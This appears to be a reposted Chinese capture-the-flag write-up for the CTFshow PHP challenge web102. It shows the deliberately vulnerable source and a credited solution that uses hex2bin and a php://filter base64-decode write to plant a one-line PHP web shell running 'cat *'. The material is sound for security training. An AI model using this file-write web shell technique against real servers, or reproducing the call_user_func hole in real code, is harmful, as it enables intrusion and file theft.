CTFshow php特性 web102
生活随笔
收集整理的這篇文章主要介紹了
CTFshow php特性 web102
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-23 20:59:43*/highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){$s = substr($v2,2); //從第三個字符開始$str = call_user_func($v1,$s); //回調函數echo $str;file_put_contents($v3,$str); } else{die('hacker'); }?>Notice: Undefined index: v1 in /var/www/html/index.php on line 14Notice: Undefined index: v2 in /var/www/html/index.php on line 15Notice: Undefined index: v3 in /var/www/html/index.php on line 16 hacker思路
call_user_func()
這題實在沒辦法做出來,php5可以用十六進制繞過,題目是php7
題解
hint
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php POST v1=hex2bin #訪問1.php后查看源代碼獲得flag來自羽師傅的wp
$a='<?=`cat *`;'; $b=base64_encode($a); // PD89YGNhdCAqYDs= $c=bin2hex($b); //這里直接用去掉=的base64 輸出 5044383959474e6864434171594473帶e的話會被認為是科學計數法,可以通過is_numeric檢測。 大家可以嘗試下去掉=和帶著=的base64解碼出來的內容是相同的。因為等號在base64中只是起到填充的作用,不影響具體的數據內容。總結
不會,記到小本本上
總結
以上是生活随笔為你收集整理的CTFshow php特性 web102的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow php特性 web101
- 下一篇: CTFshow php特性 web103